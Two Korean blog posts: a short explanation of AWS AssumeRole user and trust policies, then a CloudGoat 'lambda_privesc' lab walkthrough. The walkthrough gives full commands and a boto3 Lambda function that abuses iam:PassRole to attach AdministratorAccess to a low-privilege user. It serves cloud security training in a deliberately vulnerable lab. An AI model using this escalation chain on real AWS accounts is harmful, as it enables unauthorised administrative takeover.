반응형

 

AWS Assume Role 원리

 

  역할 전환(Assume Role) 조건

 

역할 전환(AssumeRole)은 두 가지 조건이 동시에 충족해야 합니다.

1. 사용자의 정책(User Policy) : 내가 특정 역할로 전환할 수 있는 권한이 있어야 함

2. 역할 신뢰 정책(Trust Policy) : 그 역할이 나를 신뢰하고 있어야 함

 

 

# 사용자 정책 (User Policy) - 739275444311 계정에 속한 cg-bilbo 사용자
{
    "UserName": "cg-bilbo",
    "PolicyName": "cg-bilbo-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
                "Sid": ""
            }
        ]
    }
}


# 역할 신뢰 정책 (Trust Policy) - 940877411605 계정에 속한 cg-lambda-invoker 역할
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambda-invoker",
        "Arn": "arn:aws:iam::940877411605:role/cg-lambda-invoker",
        "CreateDate": "2025-04-11T00:42:13Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/cg-bilbo"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        }
    }
}

 

 

 

 

 

  예외 사항

역할 전환에 딱 한가지 예외가 있습니다.

아래와 같이 역할과 사용자가 같은 Account에 속해 있는 경우 Trust Policy가 명시적으로 사용자를 신뢰하면

사용자는 sts:AssumeRole 권한이 없어도 역할 전환을 할 수 있습니다.

 

[역할&사용자가 - 같은 계정( 739275444311 )에 속한 경우]

역할 arn : arn:aws:iam::739275444311:role/cg-lambda-invoker

사용자 arn : arn:aws:iam::739275444311:user/cg-bilbo

 

  예시 - 아래의 조건의 경우에 사용자 정책(User Policy)에 Assume Role 권한이 없어도 역할 전환은 성립됨 (O)

### cg-lambda-invoker 역할은 cg-bilbo 사용자를 명시적(Principal)으로 신뢰하고 있음
{
	"RoleName": "cg-lambda-invoker"
		"Version": "2012-10-17",
		"Statement": [
			{
				"Sid": "",
				"Effect": "Allow",
				"Principal": {
					"AWS": "arn:aws:iam::739275444311:user/cg-bilbo"
				},
				"Action": "sts:AssumeRole"
			}
		]
	}
}

### cg-bilbo 사용자에게 적용된 User Policy에는 sts:AssumeRole에 대한 권한이 없음

{
    "UserName": "cg-bilbo",
    "PolicyName": "cg-bilbo-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

 

 

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/lambda_privesc/README.md

 

cloudgoat/cloudgoat/scenarios/aws/lambda_privesc/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

1개 IAM User와 2개 Role 생성되고 admin 권한을 획득하는 문제입니다.

시작은 Chris 부터 시작하면 됩니다.

 

lambda_privesc 문제

 

 

  문제 풀이

 

 

문제를 풀기 위해 문제 경로(폴더)로 들어가서 start.txt를 확인합니다.

확인한 Access Key로 프로파일을 하나 생성합니다.

#-------------------- 0. 시작 환경 설정 --------------------
### 시작 계정(Chris) Access Key 확인 ###
cat start.txt

### 프로파일 생성 ###
aws configure --profile lambda_privesc

 

 

Chris에 붙어있는 유저 정책을 확인해보면 iam 서비스와 sts 역할 전환을 할 수 있습니다.

#-------------------- 1.1 현재 소유 권한 분석 - Policy --------------------
###  계정 리스트 확인 ###
aws iam list-users --profile lambda_privesc

### chris 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
        }
    ]
}

### chris 에게 적용된 User 관리 정책 (lambda_privesc 요청) ###
aws iam list-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "PolicyNames": []
}

### cg-chris-policy-cgidnsyro2hx1n 정책 확인 ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "sts:AssumeRole",
                        "iam:List*",
                        "iam:Get*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "chris"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-03T08:13:29+00:00"
    }
}

 

 

1. 소유 권한 분석

 

2개의 역할(debug-role, lambdaManager-role)을 확인해 보면

1. debug-role은 관리자 권한(AdministratorAccess)이 할당되어 있고

2. lambdaManager-role에는 iam:PassRole와 lambda:*에 대한 권한이 할당되어 있습니다.

 

이 문제는 lambdaManager-role에 할당된 iam:PassRole을 이용하여 lambda 함수로  debug-role 역할을 전달한 후 debug-role 이 가지고 있는 관리자권한을 이용하여 다른 유저(Chris)의 권한을 상승시키는 취약점을 활용한 문제 입니다.

#-------------------- 1.2 현재 소유 권한 분석 - Role --------------------
### 역할 리스트 확인 ###
aws iam list-roles --profile lambda_privesc | grep cgidnsyro2hx1n
# 출력결과
"RoleName": "cg-debug-role-cgidnsyro2hx1n",
"Arn": "arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n",
"RoleName": "cg-lambdaManager-role-cgidnsyro2hx1n",
"Arn": "arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n",

### 역할 확인 - (1. debug-role) ###
aws iam get-role --role-name cg-debug-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-debug-role-cgidnsyro2hx1n",
        "RoleId": "AROA2YICACBL2I6HX52KN",
        "Arn": "arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n",
        "CreateDate": "2025-04-03T08:13:29+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "CloudGoat debug role",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidnsyro2hx1n"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies --role-name cg-debug-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

### 역할 확인 (2. lambdaManager) ###
aws iam get-role --role-name cg-lambdaManager-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-lambdaManager-role-cgidnsyro2hx1n",
        "RoleId": "AROA2YICACBL4GNTPQSW6",
        "Arn": "arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n",
        "CreateDate": "2025-04-03T08:13:39+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::739275444311:user/chris-cgidnsyro2hx1n"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "CloudGoat Lambda manager role",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Name",
                "Value": "cg-debug-role-cgidnsyro2hx1n"
            },
            {
                "Key": "Scenario",
                "Value": "lambda-privesc"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### 역할에 붙어있는 정책 확인 ###
aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-cgidnsyro2hx1n",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-lambdaManager-policy-cgidnsyro2hx1n"
        }
    ]
}

### 정책 확인 (lambdaManager-policy) ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-lambdaManager-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "lambdaManager"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-03T08:13:29+00:00"
    }
}

 

 

2. 역할 전환 및 프로파일 생성

 

Chris 유저가 가지고 있는 역할 전환 권한을 이용하여 lambdaManager-role로 역할 전환하고 새로운 프로파일을 만듭니다.

#-------------------- 2. 역할 전환 및 Role 프로파일 생성 ### --------------------
### 역할 전환 (lambdaManager) ###
aws sts assume-role --role-arn arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n --role-session-name Chris --profile lambda_privesc

### 역할 전환 프로파일 생성 ###
aws configure set --profile role_LambdaManager aws_access_key_id <access_key>
aws configure set --profile role_LambdaManager aws_secret_access_key <secret_key>
aws configure set --profile role_LambdaManager aws_session_token <session_token>

 

3. 람다 함수 생성 및 관리자권한 획득

 

Chris 사용자에게 관리자권한을 추가하는 lambda 함수를 작성 후 lambda 함수를 생성하고 실행합니다.

이 모든 과정은 LambdaManager 역할로 수행합니다.

Lambda 함수가 정상적으로 실행된 후 Chris가 소유하고 있는 권한을 재확인해보면 관리자 권한을 소유하고 있음이 확인됩니다.

#-------------------- 3. Lambda 함수 생성 및 실행하여 관리자 권한 획득 ### --------------------

### 관리자 권한 획득을 위한 Lambda 함수 - 코드 생성 ###
# 파일명 : lambda_function.py
import boto3

def lambda_handler(event, context):
    iam = boto3.client('iam')

    # 사용자 이름과 정책 ARN 설정
    user_name = 'chris-cgidnsyro2hx1n'  # 사용자이름
    policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'

    try:
        # 정책 attach 실행
        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn=policy_arn
        )
        return {
            'status': 'Success',
            'message': f'Attached AdministratorAccess to user {user_name}'
        }
    except Exception as e:
        return {
            'status': 'Error',
            'message': str(e)
        }

### .py 코드 zip 파일 변환 ###
zip function.zip lambda_function.py

### lambda 함수 생성 ###
aws lambda create-function \
  --function-name PrivilegeAttack1 \
  --runtime python3.12 \
  --role arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip \
  --profile role_LambdaManager

### lambda 함수 실행 ###
aws lambda invoke \
    --function-name PrivilegeAttack1 \
    --payload '{}' \
    response.json \
--profile role_LambdaManager

### chris 에게 적용된 AWS 관리 정책 확인 - 관리자 권한 획득 ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
        }
    ]
}

 

<권한 상승 취약점을 활용한 관리자 권환 획득>

관리자 권한 상승 - 성공

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형

+ Recent posts